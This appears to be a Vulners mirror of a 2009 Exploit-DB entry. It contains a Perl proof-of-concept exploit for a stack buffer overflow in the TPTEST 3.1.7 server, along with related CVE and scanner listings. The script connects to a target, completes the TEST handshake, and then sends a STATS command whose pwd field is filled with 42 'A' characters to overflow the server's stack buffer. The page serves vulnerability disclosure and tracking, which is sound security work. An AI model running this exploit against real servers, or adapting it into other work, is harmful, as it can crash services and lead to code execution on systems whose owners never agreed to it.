Lucene search
+L

TPTEST 3.1.7 - Stack Buffer Overflow (PoC)

🗓️ 16 Feb 2009 00:00:00Reported by ffwdType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

TPTEST 3.1.7 Stack Buffer Overflow Exploi

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-0650
16 Feb 200900:00
circl
circl
Circl
CVE-2009-0659
16 Feb 200900:00
circl
cve
CVE
CVE-2009-0650
20 Feb 200918:00
cve
cve
CVE
CVE-2009-0659
20 Feb 200919:00
cve
cvelist
Cvelist
CVE-2009-0650
20 Feb 200918:00
cvelist
cvelist
Cvelist
CVE-2009-0659
20 Feb 200919:00
cvelist
euvd
EUVD
EUVD-2009-0653
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2009-0662
7 Oct 202500:30
euvd
nessus
Tenable Nessus
FreeBSD : tptest -- pwd Remote Stack Buffer Overflow (5486669e-ea9f-11de-bd9c-00215c6a37bb)
14 Oct 201100:00
nessus
nessus
Tenable Nessus
GLSA-201310-16 : TPTEST: Arbitrary code execution
27 Oct 201300:00
nessus
Rows per page
#!/usr/local/bin/perl

# TPTEST <= 3.1.7 (maby also 5.0.2?)
# tptest.sourceforge.net
# stackbased buffer overflow poc in server (client can also be exploit)
# author: ffwd

use IO::Socket;($host,$port)=@ARGV;
$rem=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);
if(!$rem){die "1\n";}$rem->autoflush(1);
$cookie=$major=$minor="123";
$r=<$rem>;print "$r";sleep 5; # to attach in gdb..
if($r=~/cookie=([0-9]*)/){$cookie=$1;}
if($r=~/vmajor=([0-9]*)/){$major=$1;}
if($r=~/vminor=([0-9]*)/){$minor=$1;}
$s="TEST vmajor=$major;vminor=$minor;mode=4;timeout=60;tcpbytes=0;cookie=$cookie;client=\r\n";
print "$s";print $rem "$s";$rr=<$rem>;print "$rr";
if($rr=~/^210 tcpdataport=([0-9]*)/)
{$data=$1;$remm=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$data);
if(!$remm){die "2\n";}}
$ss="STATS majorv=$major;minorv=$minor;pktssent=0;pktsunsent=0;pktsrcvd=0;bytessent=51200;bytesrcvd=0;".
"maxrtt=0;minrtt=999999999;totrtt=0;nortt=0;oocount=0;txstart_s=7274757975;txstart_us=717574;".
"txstop_s=7274757975;txstop_us=717173;rxstart_s=0;rxstart_us=0;rxstop_s=0;rxstop_us=0;email=;pwd=".
("A"x42)."\r\n"; # buffer overflow!
print "$ss";print $rem "$ss";
print while <$rem>;

# milw0rm.com [2009-02-16]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.12776
42